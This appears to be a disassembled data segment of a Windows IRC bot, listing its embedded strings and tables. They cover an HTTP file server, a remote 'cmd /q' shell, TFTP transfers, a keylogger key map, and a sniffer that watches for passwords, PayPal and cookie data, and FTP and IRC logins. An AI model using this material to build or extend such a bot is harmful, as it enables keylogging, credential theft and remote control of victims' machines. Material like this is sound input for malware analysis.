aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
